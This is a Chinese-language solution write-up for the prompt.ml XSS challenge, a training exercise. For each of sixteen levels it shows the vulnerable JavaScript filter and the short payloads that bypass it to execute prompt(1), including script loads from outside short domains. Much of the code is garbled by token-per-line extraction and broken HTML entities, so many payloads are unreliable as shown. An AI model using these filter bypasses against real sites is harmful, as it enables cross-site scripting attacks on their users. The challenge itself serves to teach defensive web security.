挑战地址:http://prompt.ml/0
from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml
规则:
- 成功执行
prompt(1)
- payload不需要用户交互
- payload必须对下述浏览器有效:
- Chrome(最新版) – Firefox(最新版) – IE10 及以上版本(或者IE10兼容模式) 4. 每个级别至少给出两种浏览器的答案 5. 字符越少越好
Level 0
代码
1
2
3
4
5
6
|
function
escape
(
input
)
{
// warm up
// script should be executed without user interaction
return
'<input type="text" value="'
+
input
+
'">'
;
}
|
答案
1
2
|
"
&
gt
;
&
lt
;
svg
/
onload
=
prompt
(
1
)
&
gt
;
|
resize
事件,这个payload只有20个字符
1
2
|
"
onresize
=
prompt
(
1
)
&
gt
;
|
背景知识
resize
事件在IE10及以下版本有效,IE11没有用。并且不需要用户交互。 更多信息:http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx
Level 1
该级别实际是简单的过滤了>
,需要绕过以下即可。
代码
1
2
3
4
5
6
7
8
9
|
function
escape
(
input
)
{
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var
stripTagsRE
=
/
&
lt
;
\
/
?
[
^
&
gt
;
]
+
&
gt
;
/
gi
;
input
=
input
.
replace
(
stripTagsRE
,
''
)
;
return
'<article>'
+
input
+
'</article>'
;
}
|
答案
1
2
|
&
lt
;
svg
/
onload
=
prompt
(
1
)
|
1
2
|
&
lt
;
svg
/
onload
=
prompt
(
1
)
//
|
Level 2
该级别过滤了=
、(
两种符号。
代码
1
2
3
4
5
6
7
8
|
function
escape
(
input
)
{
// v-- frowny face
input
=
input
.
replace
(
/
[
=
(
]
/
g
,
''
)
;
// ok seriously, disallows equal signs and open parenthesis
return
input
;
}
|
答案
Firefox 和IE下的答案(29个字符)
1
2
|
&
lt
;
svg
&
gt
;
&
lt
;
script
&
gt
;
prompt
&
amp
;
#40;1)<b>
|
Chrome下需要script闭合标签,所以上述payload不成功。最短的答案如下(35个字符)
1
2
|
&
lt
;
svg
&
gt
;
&
lt
;
script
&
gt
;
prompt
&
amp
;
#40;1)</script>
|
未来所有的浏览器支持ES6,还可以使用下述编码:
1
2
|
&
lt
;
script
&
gt
;
eval
.
call
`
$
{
'prompt\x281)'
}
`
&
lt
;
/
script
&
gt
;
|
或者
1
2
|
&
lt
;
script
&
gt
;
eval
.
call
`
$
{
'prompt\x281)'
}
`
&
lt
;
/
script
&
gt
;
|
背景知识
由于xml编码特性。在SVG向量里面的<script>
元素(或者其他CDATA元素 ),会先进行xml解析。因此(
(十六进制)或者(
(十进制)或者&lpar;
(html实体编码)会被还原成(
。
Level 3
过滤了->
。但是2012已经公布,html5的注释标签不仅可以使用-->
,还可以使用--!>
。
代码
1
2
3
4
5
6
7
8
|
function
escape
(
input
)
{
// filter potential comment end delimiters
input
=
input
.
replace
(
/
-
&
gt
;
/
g
,
'_'
)
;
// comment the input to avoid script execution
return
'<!-- '
+
input
+
' -->'
;
}
|
1
2
|
--
!
&
gt
;
&
lt
;
svg
/
onload
=
prompt
(
1
)
|
Level 4
这个题目是利用url的特性绕过,浏览器支持这样的url:http://user:password@attacker.com。但是http://user:password/@attacker.com
是不允许的。由于这里的正则特性和decodeURIComponent
函数,所以可以使用%2f
绕过,如下:http://prompt.ml%2f@attacker.com
。所以域名越短,答案就越短。
代码
1
2
3
4
5
6
7
8
9
10
11
12
|
function
escape
(
input
)
{
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if
(
/
^
(
?
:
https
?
:
)
?
\
/
\
/
prompt
\
.
ml
\
//i.test(decodeURIComponent(input))) {
var
script
=
document
.
createElement
(
'script'
)
;
script
.
src
=
input
;
return
script
.
outerHTML
;
}
else
{
return
'Invalid resource.'
;
}
}
|
答案
1
2
|
//prompt.ml%2f@ᄒ.ws/✌
|
Level 5
过滤了>
,过滤了onXXX=
,过滤了focus
,所以不能使用autofocus
。但是可以使用js的换行\n
绕过onXXX=
,IE下依然可以使用onresize
代码
1
2
3
4
5
6
7
8
|
function
escape
(
input
)
{
// apply strict filter rules of level 0
// filter ">" and event handlers
input
=
input
.
replace
(
/
&
gt
;
|
on
.
+
?
=
|
focus
/
gi
,
'_'
)
;
return
'<input value="'
+
input
+
'" type="text">'
;
}
|
type
为
image
,后面的
type
不能覆盖前面的设置。
1
2
3
|
"type=image src onerror
="
prompt
(
1
)
|
1
2
3
|
"onresize
="
prompt
(
1
)
|
Level 6
虽然有过滤,但是可以将输入插入到form表单的action
中。
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
function
escape
(
input
)
{
// let's do a post redirection
try
{
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var
segments
=
input
.
split
(
'#'
)
;
var
formURL
=
segments
[
0
]
;
var
formData
=
JSON
.
parse
(
segments
[
1
]
)
;
var
form
=
document
.
createElement
(
'form'
)
;
form
.
action
=
formURL
;
form
.
method
=
'post'
;
for
(
var
i
in
formData
)
{
var
input
=
form
.
appendChild
(
document
.
createElement
(
'input'
)
)
;
input
.
name
=
i
;
input
.
setAttribute
(
'value'
,
formData
[
i
]
)
;
}
return
form
.
outerHTML
+
' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
'
;
}
catch
(
e
)
{
return
'Invalid form data.'
;
}
}
|
答案
33个字符
1
2
|
javascript
:
prompt
(
1
)
#{"action":1}
|
IE下可以使用vbscript减少字符
1
2
|
vbscript
:
prompt
(
1
)
#{"action":1}
|
Level 7
可以使用js注释绕过。如下:
1
2
3
4
|
&
lt
;
p
class
=
"comment"
title
=
""
&
gt
;
&
lt
;
svg
/
a
=
"></p>
<p class="
comment
" title="
"οnlοad='/*"
&
gt
;
&
lt
;
/
p
&
gt
;
&
lt
;
p
class
=
"comment"
title
=
"*/prompt(1)'"
&
gt
;
&
lt
;
/
p
&
gt
;
|
代码
1
2
3
4
5
6
7
8
9
|
function
escape
(
input
)
{
// pass in something like dog#cat#bird#mouse...
var
segments
=
input
.
split
(
'#'
)
;
return
segments
.
map
(
function
(
title
)
{
// title can only contain 12 characters
return
'<p class="comment" title="'
+
title
.
slice
(
0
,
12
)
+
'"></p>'
;
}
)
.
join
(
'\n'
)
;
}
|
答案
34个字符:
1
2
|
"><svg/a=#"
onload
=
'/*#*/prompt(1)'
|
IE下31个字符
1
2
3
4
5
6
7
|
"><script x=#"
async
=
#"src="//⒛₨
&
lt
;
p
class
=
"comment"
title
=
""
&
gt
;
&
lt
;
script
x
=
"></p>
<p class="
comment
" title="
"async="
&
gt
;
&
lt
;
/
p
&
gt
;
&
lt
;
p
class
=
"comment"
title
=
""
src
=
"//⒛₨"
&
gt
;
&
lt
;
/
p
&
gt
;
|
背景知识
小技巧:IE下可以使用##async##来加载不需要闭合的script文件。如下:
1
2
|
&
lt
;
script
src
=
"test.js"
async
&
gt
;
|
Level 8
这题使用的两个技巧
-
<LS>
是U+2028,是Unicode中的行分隔符。 -
<PS>
是U+2029,是Unicode中的段落分隔符。
另外-->
,也可以在js中当注释使用,资料:https://javascript.spec.whatwg.org/#comment-syntax,因此我们构造答案如下:
1
2
3
4
5
6
|
&
lt
;
script
&
gt
;
// console.log("
prompt
(
1
)
--
&
gt
;"
)
;
&
lt
;
/
script
&
gt
;
|
代码
1
2
3
4
5
6
7
8
9
10
11
|
function
escape
(
input
)
{
// prevent input from getting out of comment
// strip off line-breaks and stuff
input
=
input
.
replace
(
/
[
\
r
\
n
&
lt
;
/
"]/g, '');
return ' \n\
<script> \n\
// console.log("
' + input + '"
)
;
\
n
\
&
lt
;
/
script
&
gt
;
'
;
}
|
答案
Chrome和Firefox下 14个字符
1
2
|
[
U
+
2028
]
prompt
(
1
)
[
U
+
2028
]
--
&
gt
;
|
背景知识
比较奇怪的是,js中的换行符跟unicode中的不一致。另外,HTML代码的注释可以在Javascript中使用
Level 9
该题使用正则<([a-zA-Z])
,导致无法注入HTML标签。但是toUpperCase()函数是支持Unicode函数。字符ſ
经过函数toUpperCase()处理后,会变成ASCII码字符”S”。
代码
1
2
3
4
5
6
7
8
9
10
|
function
escape
(
input
)
{
// filter potential start-tags
input
=
input
.
replace
(
/
&
lt
;
(
[
a
-
zA
-
Z
]
)
/
g
,
'<_$1'
)
;
// use all-caps for heading
input
=
input
.
toUpperCase
(
)
;
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return
'<h1>'
+
input
+
'</h1>'
;
}
|
答案
26个字符通杀浏览器的答案
1
2
|
&
lt
;ſ
cript
/ſ
rc
=
//⒕₨></ſcript>
|
或者使用async
1
2
|
&
lt
;ſ
cript
/
async
/
src
=
//⒛₨>
|
Level 10
这个题目使用两个正则过滤。比较容易
代码
1
2
3
4
5
6
7
8
9
10
|
function
escape
(
input
)
{
// (╯°□°)╯︵ ┻━┻
input
=
encodeURIComponent
(
input
)
.
replace
(
/
prompt
/
g
,
'alert'
)
;
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input
=
input
.
replace
(
/
'/g, '
');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '
&
lt
;
script
&
gt
;
' + input + '
&
lt
;
/
script
&
gt
;
'
;
}
|
答案
1
2
|
p'
rompt
(
1
)
|
Level 11
这个题目直接允许注入数据到script标签里面,但是过滤了特殊符号。这里的技巧是使用一个数据或者字母拥有操作符的功能,就是in
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
function
escape
(
input
)
{
// name should not contain special characters
var
memberName
=
input
.
replace
(
/
[
[
|
\
s
+
*
/
\
\
&
lt
;
&
gt
;
&
amp
;
^
:
;
=
~
!
%
-
]
/
g
,
''
)
;
// data to be parsed as JSON
var
dataString
=
'{"action":"login","message":"Welcome back, '
+
memberName
+
'."}'
;
// directly "parse" data in script context
return
' \n\
<script> \n\
var data = '
+
dataString
+
'; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> '
;
}
|
答案
1
2
3
4
5
6
7
8
9
|
"(prompt(1))in"
&
lt
;
script
&
gt
;
var
data
=
{
"action"
:
"login"
,
"message"
:
"Welcome back, "
(
prompt
(
1
)
)
in
"."
}
;
if
(
data
.
action
===
"login"
)
document
.
write
(
data
.
message
)
&
lt
;
/
script
&
gt
;
|
背景知识
"test"(alert(1))
虽然会提示语法错误, 但是还是会执行js语句。类似的alert(1)in"test"
也是一样。可以在控制台下使用F12执行
Level 12
该题主要是利用toString()解答。eval可以直接执行字符串。如下:
1
2
|
parseInt
(
"prompt"
,
36
)
;
//1558153217
|
因此,
- 可以使用
eval((1558153217).toString(36))(1)
- 还可以
eval(1558153217..toString(36))(1)
- 还可以
eval(630038579..toString(30))(1)
代码
1
2
3
4
5
6
7
8
9
10
|
function
escape
(
input
)
{
// in Soviet Russia...
input
=
encodeURIComponent
(
input
)
.
replace
(
/
'/g, '
');
// table flips you!
input = input.replace(/prompt/g, '
alert
');
// ノ┬─┬ノ ︵ ( \o°o)\
return '
&
lt
;
script
&
gt
;
' + input + '
&
lt
;
/
script
&
gt
;
'
;
}
|
答案
32个字符通杀所有浏览器
1
2
3
4
5
|
eval
(
630038579..toString
(
30
)
)
(
1
)
// Hexadecimal alternative (630038579 == 0x258da033):
eval
(
0x258da033.toString
(
30
)
)
(
1
)
|
还有一种比较暴力的方法是,通过循环执行self里面的函数,来查找prompt执行(firfox下测试有效)
1
2
|
for
(
(
i
)
in
(
self
)
)
eval
(
i
)
(
1
)
|
Level 13
这个题目涉及到js中的__proto__
,每个对象都会在其内部初始化一个属性,就是__proto__
,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__
里面找这个属性,这个__proto__
又会有自己的__proto__
,一直这样找下去。可以再Chrome控制台中测试:
1
2
3
4
5
6
7
|
config
=
{
"source"
:
"_-_invalid-URL_-_"
,
"__proto__"
:
{
"source"
:
"my_evil_payload"
}
}
|
输入
1
2
3
|
delete
config
.
source
config
.
source
|
返回
1
2
|
my_evil
_payload
|
还有一个技巧是,replace()这个函数,他还接受一些特殊的匹配模式https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 翻译如下:
1
2
|
$
`
替换查找的字符串,并且在头部加上比配位置前的字符串部分
|
举个例子就是:
1
2
|
'123456'
.
replace
(
'34'
,
'$`xss'
)
|
返回
1
2
|
'1212xss56'
|
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
function
escape
(
input
)
{
// extend method from Underscore library
// _.extend(destination, *sources)
function
extend
(
obj
)
{
var
source
,
prop
;
for
(
var
i
=
1
,
length
=
arguments
.
length
;
i
&
lt
;
length
;
i
++
)
{
source
=
arguments
[
i
]
;
for
(
prop
in
source
)
{
obj
[
prop
]
=
source
[
prop
]
;
}
}
return
obj
;
}
// a simple picture plugin
try
{
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var
data
=
JSON
.
parse
(
input
)
;
var
config
=
extend
(
{
// default image source
source
:
'http://placehold.it/350x150'
}
,
JSON
.
parse
(
input
)
)
;
// forbit invalid image source
if
(
/
[
^
\
w
:
\
/
.
]
/
.
test
(
config
.
source
)
)
{
delete
config
.
source
;
}
// purify the source by stripping off "
var
source
=
config
.
source
.
replace
(
/
"/g, '');
// insert the content using mustache-ish template
return '<img src="
{
{
source
}
}"
&
gt
;
'.replace('
{
{
source
}
}
', source);
} catch (e) {
return '
Invalid
image
data
.'
;
}
}
|
答案
59个字符,通杀所有浏览器
1
2
|
{
"source"
:
{
}
,
"__proto__"
:
{
"source"
:
"$`οnerrοr=prompt(1)>"
}
}
|
Level 14
这个题目使用base64绕过。
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
|
function
escape
(
input
)
{
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input
=
input
.
toUpperCase
(
)
;
// only allows images loaded from own host or data URI scheme
input
=
input
.
replace
(
/
\
/
\
/
|
\
w
+
:
/
g
,
'data:'
)
;
// miscellaneous filtering
input
=
input
.
replace
(
/
[
\
\
&
amp
;
+
%
\
s
]
|
vbs
/
gi
,
'_'
)
;
return
'<img src="'
+
input
+
'">'
;
}
|
答案
firfox下94个字符
1
2
|
"><IFRAME/SRC="
x
:
text
/
html
;
base64
,
ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4
=
|
IE下
1
2
3
4
5
|
"><script/async/src="
/〳⒛₨
&
lt
;
img
src
=
""
&
gt
;
&
lt
;
SCRIPT
/
ASYNC
/
SRC
=
"/〳⒛₨"
&
gt
;
|
背景知识
这里再次使用了Unicode字符绕过。
Level 15
过滤了,所以不能使用js注释/,但是前面也提到了,html里面的<!--
,-->
同样可以在js中使用,如下
1
2
3
4
5
|
&
lt
;
p
class
=
"comment"
title
=
""
&
gt
;
&
lt
;
svg
&
gt
;
&
lt
;
!
--
" data-comment='{"
id
":0}'></p>
<p class="
comment
" title="
--
&
gt
;
&
lt
;
script
&
gt
;
&
lt
;
!
--
" data-comment='{"
id
":1}'></p>
<p class="
comment
" title="
--
&
gt
;
prompt
(
1
&
lt
;
!
--
" data-comment='{"
id
":2}'></p>
<p class="
comment
" title="
--
&
gt
;
)
&
lt
;
/
script
&
gt
;
" data-comment='{"
id"
:
3
}'
&
gt
;
&
lt
;
/
p
&
gt
;
|
代码
1
2
3
4
5
6
7
8
9
10
11
12
|
function
escape
(
input
)
{
// sort of spoiler of level 7
input
=
input
.
replace
(
/
\
*
/
g
,
''
)
;
// pass in something like dog#cat#bird#mouse...
var
segments
=
input
.
split
(
'#'
)
;
return
segments
.
map
(
function
(
title
,
index
)
{
// title can only contain 15 characters
return
'<p class="comment" title="'
+
title
.
slice
(
0
,
15
)
+
'" data-comment=\'{"id":'
+
index
+
'}\'></p>'
;
}
)
.
join
(
'\n'
)
;
}
|
答案
57个字符
1
2
|
"
&
gt
;
&
lt
;
svg
&
gt
;
&
lt
;
!
--
#--><script><!--#-->prompt(1<!--#-->)</script>
|
</script>
不需要,可以减少到42个字符
1
2
|
"
&
gt
;
&
lt
;
svg
&
gt
;
&
lt
;
!
--
#--><script><!--#-->prompt(1)</
|
1
2
|
"
&
gt
;
&
lt
;
script
&
gt
;
`
#${prompt(1)}#`</script>
|
Hidden Level
这里主要使用了两个非常有用的技巧,第一个是javascript的变量提升,以下语法可以在chrome下F12执行
1
2
3
4
5
6
7
|
function
functionDeclaration
(
a
,
b
,
c
)
{
alert
(
'Function declared with '
+
functionDeclaration
.
length
+
' parameters'
)
;
}
functionDeclaration
(
)
;
//alert > Function declared with 3 parameters
|
replace()
的匹配技巧,使用
$&
,测试如下:
1
2
3
4
|
'123456'
.
replace
(
'34'
,
'$&x'
)
'1234x56'
//x 直接插入到 查找到的 34位置
|
1
2
3
4
5
6
7
|
if
(
history
.
length
&
gt
;
1337
)
{
// you can inject any code here
// as long as it will be executed
function
history
(
l
,
o
,
r
,
e
,
m
.
.
.
1338
times
.
.
.
)
{
{
injection
}
}
prompt
(
1
)
}
|
code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
function
escape
(
input
)
{
// WORLD -1
// strip off certain characters from breaking conditional statement
input
=
input
.
replace
(
/
[
}
&
lt
;
]
/
g
,
''
)
;
return
' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'
.
replace
(
'{{injection}}'
,
input
)
;
}
|
答案
总共2704个字母